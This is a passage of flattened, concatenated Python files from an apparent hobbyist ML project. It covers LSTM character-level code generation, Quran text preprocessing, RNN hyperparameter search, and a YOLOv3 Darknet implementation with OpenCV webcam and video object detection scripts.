enumerate(X): # if i == 1: # break # print(x[0].shape, x[1].shape) # # vectorization # X = np.zeros((len(sentences), sequence_length, n_unique_chars)) # y = np.zeros((len(sentences), n_unique_chars)) # for i, sentence in enumerate(sentences): # for t, char in enumerate(sentence): # X[i, t, char2int[char]] = 1 # y[i, char2int[y_train[i]]] = 1 # X = np.array([char2int[c] for c in text]) # print("X.shape:", X.shape) # goal of X is (n_samples, sequence_length, n_chars) # sentences = np.zeros(()) # print("y.shape:", y.shape) # building the model # model = Sequential([ # LSTM(128, input_shape=(sequence_length, n_unique_chars)), # Dense(n_unique_chars, activation="softmax"), # ]) # building the model model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) model.load_weights("results/python-v2-2.48.h5") model.summary() model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1) # model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint]) model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint]) import numpy as np def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps): chars_per_batch = batch_size * n_steps n_batches = len(sentences) // chars_per_batch while True: for i in range(0, len(sentences), batch_size): X = np.zeros((batch_size, sequence_length, n_unique_chars)) y = np.zeros((batch_size, n_unique_chars)) for i, sentence in enumerate(sentences[i: i+batch_size]): for t, char in enumerate(sentence): X[i, t, char2int[char]] = 1 y[i, char2int[y_train[i]]] = 1 yield X, y from pyarabic.araby import ALPHABETIC_ORDER with open("quran.txt", encoding="utf8") as f: text = f.read() unique_chars = set(text) print("unique chars:", unique_chars) arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() } to_be_removed = unique_chars - arabic_alpha to_be_removed = to_be_removed - {'.', ' ', ''} print(to_be_removed) text = text.replace("", ".") for char in to_be_removed: text = text.replace(char, "") text = text.replace(" ", " ") text = text.replace(" \n", "") text = text.replace("\n ", "") with open("quran_cleaned.txt", "w", encoding="utf8") as f: print(text, file=f) from sklearn.model_selection import GridSearchCV from keras.wrappers.scikit_learn import KerasClassifier from utils import read_data, text_to_sequence, get_batches, get_data from models import rnn_model from keras.layers import LSTM import numpy as np text, int2char, char2int = read_data() batch_size = 256 test_size = 0.2 n_steps = 200 n_chars = len(text) vocab_size = len(set(text)) print("n_steps:", n_steps) print("n_chars:", n_chars) print("vocab_size:", vocab_size) encoded = np.array(text_to_sequence(text)) n_train = int(n_chars * (1-test_size)) X_train = encoded[:n_train] X_test = encoded[n_train:] X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1) print(X.shape) print(Y.shape) # cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1, batch_normalization=True, bidirectional=True) params = { "units": [100, 128, 200, 256, 300] } grid = GridSearchCV(estimator=model, param_grid=params) grid_result = grid.fit(X, Y) print(grid_result.best_estimator_) print(grid_result.best_params_) print(grid_result.best_score_) from keras.models import Sequential from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True): model = Sequential() for i in range(num_layers): if i == 0: # first time, specify input_shape # if bidirectional: # model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) # else: model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) else: if i == num_layers - 1: return_sequences = False else: return_sequences = True if bidirectional: model.add(Bidirectional(cell(units, return_sequences=return_sequences))) else: model.add(cell(units, return_sequences=return_sequences)) if batch_normalization: model.add(BatchNormalization()) model.add(Dropout(dropout)) model.add(LeakyReLU(alpha=0.1)) model.add(Dense(output_dim, activation="softmax")) model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) return model # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from models import rnn_model from keras.layers import LSTM from utils import sequence_to_text, get_data import numpy as np import pickle char2int = pickle.load(open("results/char2int.pickle", "rb")) int2char = { v:k for k, v in char2int.items() } print(int2char) n_steps = 500 def text_to_sequence(text): global char2int return [ char2int[c] for c in text ] def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def logits_to_text(logits): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ return int2char[np.argmax(logits, axis=0)] # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)]) def generate_code(model, initial_text, n_chars=100): new_chars = "" for i in range(n_chars): x = np.array(text_to_sequence(initial_text)) x, _ = get_data(x, 64, n_steps, 1) pred = model.predict(x)[0][0] c = logits_to_text(pred) new_chars += c initial_text += c return new_chars model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) model.load_weights("results/rnn_3.5") x = """x = np.array(text_to_sequence(x)) x, _ = get_data(x, n_steps, 1) print(x.shape) print(x.shape) print(model.predict_proba(x)) print(model.predict_classes(x)) def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"): samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = train_chars.char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, len(train_chars.vocab)) samples.append(train_chars.int2char[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_chars.vocab)) char = train_chars.int2char[c] samples.append(char) # if i == n_samples - 1 and char != " " and char != ".": if i == n_samples - 1 and char != " ": # while char != "." and char != " ": while char != " ": x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_chars.vocab)) char = train_chars.int2char[c] samples.append(cha """ # print(x.shape) # print(x.shape) # pred = model.predict(x)[0][0] # print(pred) # print(logits_to_text(pred)) # print(model.predict_classes(x)) print(generate_code(model, x, n_chars=500)) from models import rnn_model from keras.layers import LSTM from keras.callbacks import ModelCheckpoint from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length import numpy as np import os text, int2char, char2int = read_data(load=False) batch_size = 256 test_size = 0.2 n_steps = 500 n_chars = len(text) vocab_size = len(set(text)) print("n_steps:", n_steps) print("n_chars:", n_chars) print("vocab_size:", vocab_size) encoded = np.array(text_to_sequence(text)) n_train = int(n_chars * (1-test_size)) X_train = encoded[:n_train] X_test = encoded[n_train:] train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) for i, t in enumerate(train): if i == 2: break print(t[0]) print(np.array(t[0]).shape) # print(test.shape) # # DIM = 28 # model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) # model.summary() # model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) # if not os.path.isdir("results"): # os.mkdir("results") # checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1) # train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size # test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size # print("train_steps_per_epoch:", train_steps_per_epoch) # print("test_steps_per_epoch:", test_steps_per_epoch) # model.load_weights("results/rnn_3.2") # model.fit_generator(train, # epochs=30, # validation_data=(test), # steps_per_epoch=train_steps_per_epoch, # validation_steps=test_steps_per_epoch, # callbacks=[checkpointer], # verbose=1) # model.save("results/rnn_final.model") import numpy as np import tqdm import pickle from keras.utils import to_categorical int2char, char2int = None, None def read_data(load=False): global int2char global char2int with open("E:\\datasets\\text\\my_python_code.py") as f: text = f.read() unique_chars = set(text) if not load: int2char = { i: c for i, c in enumerate(unique_chars, start=1) } char2int = { c: i for i, c in enumerate(unique_chars, start=1) } pickle.dump(int2char, open("results/int2char.pickle", "wb")) pickle.dump(char2int, open("results/char2int.pickle", "wb")) else: int2char = pickle.load(open("results/int2char.pickle", "rb")) char2int = pickle.load(open("results/char2int.pickle", "rb")) return text, int2char, char2int def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) if output_format == "many": while True: for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) elif output_format == "one": while True: # X = np.zeros((arr.shape[1], n_steps)) # y = np.zeros((arr.shape[1], 1)) # for i in range(n_samples-n_steps): # X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ]) # price = df.Price.iloc[i + n_steps] # y[i] = price.replace(",", "") if isinstance(price, str) else price for n in range(arr.shape[1] - n_steps-1): x = arr[:, n: n+n_steps] y = arr[:, n+n_steps+1] # print("y.shape:", y.shape) y = to_categorical(y, num_classes=vocab_size) # print("y.shape after categorical:", y.shape) y = np.expand_dims(y, axis=0) yield x.reshape(1, x.shape[0], x.shape[1]), y def get_data(arr, batch_size, n_steps, vocab_size): # n_samples = len(arr) // n_seq # X = np.zeros((n_seq, n_samples)) # Y = np.zeros((n_seq, n_samples)) chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): # x = arr[i:i+n_seq] # y = arr[i+1:i+n_seq+1] # if len(x) != n_seq or len(y) != n_seq: # break # X[:, index] = x # Y[:, index] = y X = np.zeros((batch_size, arr.shape[1])) Y = np.zeros((batch_size, vocab_size)) for n in range(arr.shape[1] - n_steps-1): x = arr[:, n: n+n_steps] y = arr[:, n+n_steps+1] # print("y.shape:", y.shape) y = to_categorical(y, num_classes=vocab_size) # print("y.shape after categorical:", y.shape) # y = np.expand_dims(y, axis=1) X[:, n: n+n_steps] = x Y[n] = y # yield x.reshape(1, x.shape[0], x.shape[1]), y return np.expand_dims(X, axis=1), Y # return n_samples # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) def get_data_length(arr, n_seq, output_format="many"): if output_format == "many": return len(arr) // n_seq elif output_format == "one": return len(arr) - n_seq def text_to_sequence(text): global char2int return [ char2int[c] for c in text ] def sequence_to_text(sequence): global int2char return ''.join([ int2char[i] for i in sequence ]) import json import os import glob CUR_DIR = os.getcwd() text = "" # for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")): surat = [ f"surah_{i}.json" for i in range(1, 115) ] for filename in surat: filename = os.path.join(CUR_DIR, "data", "json", filename) file = json.load(open(filename, encoding="utf8")) content = file['verse'] for verse_id, ayah in content.items(): text += f"{ayah}." n_ayah = len(text.split(".")) n_words = len(text.split(" ")) n_chars = len(text) print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}") with open("quran.txt", "w", encoding="utf8") as quran_file: print(text, file=quran_file) import torch import torch.nn as nn import numpy as np # let us run this cell only if CUDA is available # We will use torch.device objects to move tensors in and out of GPU if torch.cuda.is_available(): x = torch.randn(1) device = torch.device("cuda") # a CUDA device object y = torch.ones_like(x, device=device) # directly create a tensor on GPU x = x.to(device) # or just use strings .to("cuda") z = x + y print(z) print(z.to("cpu", torch.double)) # .to can also change dtype together! class YoloLayer(nn.Module): def __init__(self, anchor_mask=[], num_classes=0, anchors=[], num_anchors=1): super(YoloLayer, self).__init__() self.anchor_mask = anchor_mask self.num_classes = num_classes self.anchors = anchors self.num_anchors = num_anchors self.anchor_step = len(anchors)/num_anchors self.coord_scale = 1 self.noobject_scale = 1 self.object_scale = 5 self.class_scale = 1 self.thresh = 0.6 self.stride = 32 self.seen = 0 def forward(self, output, nms_thresh): self.thresh = nms_thresh masked_anchors = [] for m in self.anchor_mask: masked_anchors += self.anchors[m*self.anchor_step:(m+1)*self.anchor_step] masked_anchors = [anchor/self.stride for anchor in masked_anchors] boxes = get_region_boxes(output.data, self.thresh, self.num_classes, masked_anchors, len(self.anchor_mask)) return boxes class Upsample(nn.Module): def __init__(self, stride=2): super(Upsample, self).__init__() self.stride = stride def forward(self, x): stride = self.stride assert(x.data.dim() == 4) B = x.data.size(0) C = x.data.size(1) H = x.data.size(2) W = x.data.size(3) ws = stride hs = stride x = x.view(B, C, H, 1, W, 1).expand(B, C, H, stride, W, stride).contiguous().view(B, C, H*stride, W*stride) return x #for route and shortcut class EmptyModule(nn.Module): def __init__(self): super(EmptyModule, self).__init__() def forward(self, x): return x # support route shortcut class Darknet(nn.Module): def __init__(self, cfgfile): super(Darknet, self).__init__() self.blocks = parse_cfg(cfgfile) self.models = self.create_network(self.blocks) # merge conv, bn,leaky self.loss = self.models[len(self.models)-1] self.width = int(self.blocks[0]['width']) self.height = int(self.blocks[0]['height']) self.header = torch.IntTensor([0,0,0,0]) self.seen = 0 def forward(self, x, nms_thresh): ind = -2 self.loss = None outputs = dict() out_boxes = [] for block in self.blocks: ind = ind + 1 if block['type'] == 'net': continue elif block['type'] in ['convolutional', 'upsample']: x = self.models[ind](x) outputs[ind] = x elif block['type'] == 'route': layers = block['layers'].split(',') layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] if len(layers) == 1: x = outputs[layers[0]] outputs[ind] = x elif len(layers) == 2: x1 = outputs[layers[0]] x2 = outputs[layers[1]] x = torch.cat((x1,x2),1) outputs[ind] = x elif block['type'] == 'shortcut': from_layer = int(block['from']) activation = block['activation'] from_layer = from_layer if from_layer > 0 else from_layer + ind x1 = outputs[from_layer] x2 = outputs[ind-1] x = x1 + x2 outputs[ind] = x elif block['type'] == 'yolo': boxes = self.models[ind](x, nms_thresh) out_boxes.append(boxes) else: print('unknown type %s' % (block['type'])) return out_boxes def print_network(self): print_cfg(self.blocks) def create_network(self, blocks): models = nn.ModuleList() prev_filters = 3 out_filters =[] prev_stride = 1 out_strides = [] conv_id = 0 for block in blocks: if block['type'] == 'net': prev_filters = int(block['channels']) continue elif block['type'] == 'convolutional': conv_id = conv_id + 1 batch_normalize = int(block['batch_normalize']) filters = int(block['filters']) kernel_size = int(block['size']) stride = int(block['stride']) is_pad = int(block['pad']) pad = (kernel_size-1)//2 if is_pad else 0 activation = block['activation'] model = nn.Sequential() if batch_normalize: model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad, bias=False)) model.add_module('bn{0}'.format(conv_id), nn.BatchNorm2d(filters)) else: model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad)) if activation == 'leaky': model.add_module('leaky{0}'.format(conv_id), nn.LeakyReLU(0.1, inplace=True)) prev_filters = filters out_filters.append(prev_filters) prev_stride = stride * prev_stride out_strides.append(prev_stride) models.append(model) elif block['type'] == 'upsample': stride = int(block['stride']) out_filters.append(prev_filters) prev_stride = prev_stride // stride out_strides.append(prev_stride) models.append(Upsample(stride)) elif block['type'] == 'route': layers = block['layers'].split(',') ind = len(models) layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] if len(layers) == 1: prev_filters = out_filters[layers[0]] prev_stride = out_strides[layers[0]] elif len(layers) == 2: assert(layers[0] == ind - 1) prev_filters = out_filters[layers[0]] + out_filters[layers[1]] prev_stride = out_strides[layers[0]] out_filters.append(prev_filters) out_strides.append(prev_stride) models.append(EmptyModule()) elif block['type'] == 'shortcut': ind = len(models) prev_filters = out_filters[ind-1] out_filters.append(prev_filters) prev_stride = out_strides[ind-1] out_strides.append(prev_stride) models.append(EmptyModule()) elif block['type'] == 'yolo': yolo_layer = YoloLayer() anchors = block['anchors'].split(',') anchor_mask = block['mask'].split(',') yolo_layer.anchor_mask = [int(i) for i in anchor_mask] yolo_layer.anchors = [float(i) for i in anchors] yolo_layer.num_classes = int(block['classes']) yolo_layer.num_anchors = int(block['num']) yolo_layer.anchor_step = len(yolo_layer.anchors)//yolo_layer.num_anchors yolo_layer.stride = prev_stride out_filters.append(prev_filters) out_strides.append(prev_stride) models.append(yolo_layer) else: print('unknown type %s' % (block['type'])) return models def load_weights(self, weightfile): print() fp = open(weightfile, 'rb') header = np.fromfile(fp, count=5, dtype=np.int32) self.header = torch.from_numpy(header) self.seen = self.header[3] buf = np.fromfile(fp, dtype = np.float32) fp.close() start = 0 ind = -2 counter = 3 for block in self.blocks: if start >= buf.size: break ind = ind + 1 if block['type'] == 'net': continue elif block['type'] == 'convolutional': model = self.models[ind] batch_normalize = int(block['batch_normalize']) if batch_normalize: start = load_conv_bn(buf, start, model[0], model[1]) else: start = load_conv(buf, start, model[0]) elif block['type'] == 'upsample': pass elif block['type'] == 'route': pass elif block['type'] == 'shortcut': pass elif block['type'] == 'yolo': pass else: print('unknown type %s' % (block['type'])) percent_comp = (counter / len(self.blocks)) * 100 print('Loading weights. Please Wait...{:.2f}% Complete'.format(percent_comp), end = '\r', flush = True) counter += 1 def convert2cpu(gpu_matrix): return torch.FloatTensor(gpu_matrix.size()).copy_(gpu_matrix) def convert2cpu_long(gpu_matrix): return torch.LongTensor(gpu_matrix.size()).copy_(gpu_matrix) def get_region_boxes(output, conf_thresh, num_classes, anchors, num_anchors, only_objectness = 1, validation = False): anchor_step = len(anchors)//num_anchors if output.dim() == 3: output = output.unsqueeze(0) batch = output.size(0) assert(output.size(1) == (5+num_classes)*num_anchors) h = output.size(2) w = output.size(3) all_boxes = [] output = output.view(batch*num_anchors, 5+num_classes, h*w).transpose(0,1).contiguous().view(5+num_classes, batch*num_anchors*h*w) grid_x = torch.linspace(0, w-1, w).repeat(h,1).repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() grid_y = torch.linspace(0, h-1, h).repeat(w,1).t().repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() xs = torch.sigmoid(output[0]) + grid_x ys = torch.sigmoid(output[1]) + grid_y anchor_w = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([0])) anchor_h = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([1])) anchor_w = anchor_w.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() anchor_h = anchor_h.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() ws = torch.exp(output[2]) * anchor_w hs = torch.exp(output[3]) * anchor_h det_confs = torch.sigmoid(output[4]) cls_confs = torch.nn.Softmax(dim=1)(output[5:5+num_classes].transpose(0,1)).detach() cls_max_confs, cls_max_ids = torch.max(cls_confs, 1) cls_max_confs = cls_max_confs.view(-1) cls_max_ids = cls_max_ids.view(-1) sz_hw = h*w sz_hwa = sz_hw*num_anchors det_confs = convert2cpu(det_confs) cls_max_confs = convert2cpu(cls_max_confs) cls_max_ids = convert2cpu_long(cls_max_ids) xs = convert2cpu(xs) ys = convert2cpu(ys) ws = convert2cpu(ws) hs = convert2cpu(hs) if validation: cls_confs = convert2cpu(cls_confs.view(-1, num_classes)) for b in range(batch): boxes = [] for cy in range(h): for cx in range(w): for i in range(num_anchors): ind = b*sz_hwa + i*sz_hw + cy*w + cx det_conf = det_confs[ind] if only_objectness: conf = det_confs[ind] else: conf = det_confs[ind] * cls_max_confs[ind] if conf > conf_thresh: bcx = xs[ind] bcy = ys[ind] bw = ws[ind] bh = hs[ind] cls_max_conf = cls_max_confs[ind] cls_max_id = cls_max_ids[ind] box = [bcx/w, bcy/h, bw/w, bh/h, det_conf, cls_max_conf, cls_max_id] if (not only_objectness) and validation: for c in range(num_classes): tmp_conf = cls_confs[ind][c] if c != cls_max_id and det_confs[ind]*tmp_conf > conf_thresh: box.append(tmp_conf) box.append(c) boxes.append(box) all_boxes.append(boxes) return all_boxes def parse_cfg(cfgfile): blocks = [] fp = open(cfgfile, 'r') block = None line = fp.readline() while line != '': line = line.rstrip() if line == '' or line[0] == '#': line = fp.readline() continue elif line[0] == '[': if block: blocks.append(block) block = dict() block['type'] = line.lstrip('[').rstrip(']') # set default value if block['type'] == 'convolutional': block['batch_normalize'] = 0 else: key,value = line.split('=') key = key.strip() if key == 'type': key = '_type' value = value.strip() block[key] = value line = fp.readline() if block: blocks.append(block) fp.close() return blocks def print_cfg(blocks): print('layer filters size input output') prev_width = 416 prev_height = 416 prev_filters = 3 out_filters =[] out_widths =[] out_heights =[] ind = -2 for block in blocks: ind = ind + 1 if block['type'] == 'net': prev_width = int(block['width']) prev_height = int(block['height']) continue elif block['type'] == 'convolutional': filters = int(block['filters']) kernel_size = int(block['size']) stride = int(block['stride']) is_pad = int(block['pad']) pad = (kernel_size-1)//2 if is_pad else 0 width = (prev_width + 2*pad - kernel_size)//stride + 1 height = (prev_height + 2*pad - kernel_size)//stride + 1 print('%5d %-6s %4d %d x %d / %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'conv', filters, kernel_size, kernel_size, stride, prev_width, prev_height, prev_filters, width, height, filters)) prev_width = width prev_height = height prev_filters = filters out_widths.append(prev_width) out_heights.append(prev_height) out_filters.append(prev_filters) elif block['type'] == 'upsample': stride = int(block['stride']) filters = prev_filters width = prev_width*stride height = prev_height*stride print('%5d %-6s * %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'upsample', stride, prev_width, prev_height, prev_filters, width, height, filters)) prev_width = width prev_height = height prev_filters = filters out_widths.append(prev_width) out_heights.append(prev_height) out_filters.append(prev_filters) elif block['type'] == 'route': layers = block['layers'].split(',') layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] if len(layers) == 1: print('%5d %-6s %d' % (ind, 'route', layers[0])) prev_width = out_widths[layers[0]] prev_height = out_heights[layers[0]] prev_filters = out_filters[layers[0]] elif len(layers) == 2: print('%5d %-6s %d %d' % (ind, 'route', layers[0], layers[1])) prev_width = out_widths[layers[0]] prev_height = out_heights[layers[0]] assert(prev_width == out_widths[layers[1]]) assert(prev_height == out_heights[layers[1]]) prev_filters = out_filters[layers[0]] + out_filters[layers[1]] out_widths.append(prev_width) out_heights.append(prev_height) out_filters.append(prev_filters) elif block['type'] in ['region', 'yolo']: print('%5d %-6s' % (ind, 'detection')) out_widths.append(prev_width) out_heights.append(prev_height) out_filters.append(prev_filters) elif block['type'] == 'shortcut': from_id = int(block['from']) from_id = from_id if from_id > 0 else from_id+ind print('%5d %-6s %d' % (ind, 'shortcut', from_id)) prev_width = out_widths[from_id] prev_height = out_heights[from_id] prev_filters = out_filters[from_id] out_widths.append(prev_width) out_heights.append(prev_height) out_filters.append(prev_filters) else: print('unknown type %s' % (block['type'])) def load_conv(buf, start, conv_model): num_w = conv_model.weight.numel() num_b = conv_model.bias.numel() conv_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w return start def load_conv_bn(buf, start, conv_model, bn_model): num_w = conv_model.weight.numel() num_b = bn_model.bias.numel() bn_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b bn_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b bn_model.running_mean.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b bn_model.running_var.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w return start import cv2 import numpy as np import time CONFIDENCE = 0.5 SCORE_THRESHOLD = 0.5 IOU_THRESHOLD = 0.5 config_path = "cfg/yolov3.cfg" weights_path = "weights/yolov3.weights" font_scale = 1 thickness = 1 LABELS = open("data/coco.names").read().strip().split("\n") COLORS = np.random.randint(0, 255, size=(len(LABELS), 3), dtype="uint8") net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] cap = cv2.VideoCapture(0) while True: _, image = cap.read() h, w = image.shape[:2] blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) net.setInput(blob) start = time.perf_counter() layer_outputs = net.forward(ln) time_took = time.perf_counter() - start print("Time took:", time_took) boxes, confidences, class_ids = [], [], [] # loop over each of the layer outputs for output in layer_outputs: # loop over each of the object detections for detection in output: # extract the class id (label) and confidence (as a probability) of # the current object detection scores = detection[5:] class_id = np.argmax(scores) confidence = scores[class_id] # discard weak predictions by ensuring the detected # probability is greater than the minimum probability if confidence > CONFIDENCE: # scale the bounding box coordinates back relative to the # size of the image, keeping in mind that YOLO actually # returns the center (x, y)-coordinates of the bounding # box followed by the boxes' width and height box = detection[:4] * np.array([w, h, w, h]) (centerX, centerY, width, height) = box.astype("int") # use the center (x, y)-coordinates to derive the top and # and left corner of the bounding box x = int(centerX - (width / 2)) y = int(centerY - (height / 2)) # update our list of bounding box coordinates, confidences, # and class IDs boxes.append([x, y, int(width), int(height)]) confidences.append(float(confidence)) class_ids.append(class_id) # perform the non maximum suppression given the scores defined before idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) font_scale = 1 thickness = 1 # ensure at least one detection exists if len(idxs) > 0: # loop over the indexes we are keeping for i in idxs.flatten(): # extract the bounding box coordinates x, y = boxes[i][0], boxes[i][1] w, h = boxes[i][2], boxes[i][3] # draw a bounding box rectangle and label on the image color = [int(c) for c in colors[class_ids[i]]] cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" # calculate text width & height to draw the transparent boxes as background of the text (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] text_offset_x = x text_offset_y = y - 5 box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) overlay = image.copy() cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) # add opacity (transparency to the box) image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) # now put the text (label: confidence %) cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, color=(0, 0, 0), thickness=thickness) cv2.imshow("image", image) if ord("q") == cv2.waitKey(1): break cap.release() cv2.destroyAllWindows() import cv2 import numpy as np import time import sys CONFIDENCE = 0.5 SCORE_THRESHOLD = 0.5 IOU_THRESHOLD = 0.5 config_path = "cfg/yolov3.cfg" weights_path = "weights/yolov3.weights" font_scale = 1 thickness = 1 labels = open("data/coco.names").read().strip().split("\n") colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") net = cv2.dnn.readNetFromDarknet(config_path, weights_path) ln = net.getLayerNames() ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] # read the file from the command line video_file = sys.argv[1] cap = cv2.VideoCapture(video_file) _, image = cap.read() h, w = image.shape[:2] fourcc = cv2.VideoWriter_fourcc(*"XVID") out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) while True: _, image = cap.read() h, w = image.shape[:2] blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) net.setInput(blob) start = time.perf_counter() layer_outputs = net.forward(ln) time_took = time.perf_counter() - start print("Time took:", time_took) boxes, confidences, class_ids = [], [], [] # loop over each of the layer outputs for output in layer_outputs: # loop over each of the object detections for detection in output: # extract the class id (label) and confidence (as a probability) of # the current object detection scores = detection[5:] class_id = np.argmax(scores) confidence = scores[class_id] # discard weak predictions by ensuring the detected # probability is greater than the minimum probability if confidence > CONFIDENCE: # scale the bounding box coordinates back relative to the # size of the image, keeping in mind that YOLO actually # returns the center (x, y)-coordinates of the bounding # box followed by the boxes' width and height box = detection[:4] * np.array([w, h, w, h]) (centerX, centerY, width, height) = box.astype("int") # use the center (x, y)-coordinates to derive the top and # and left corner of 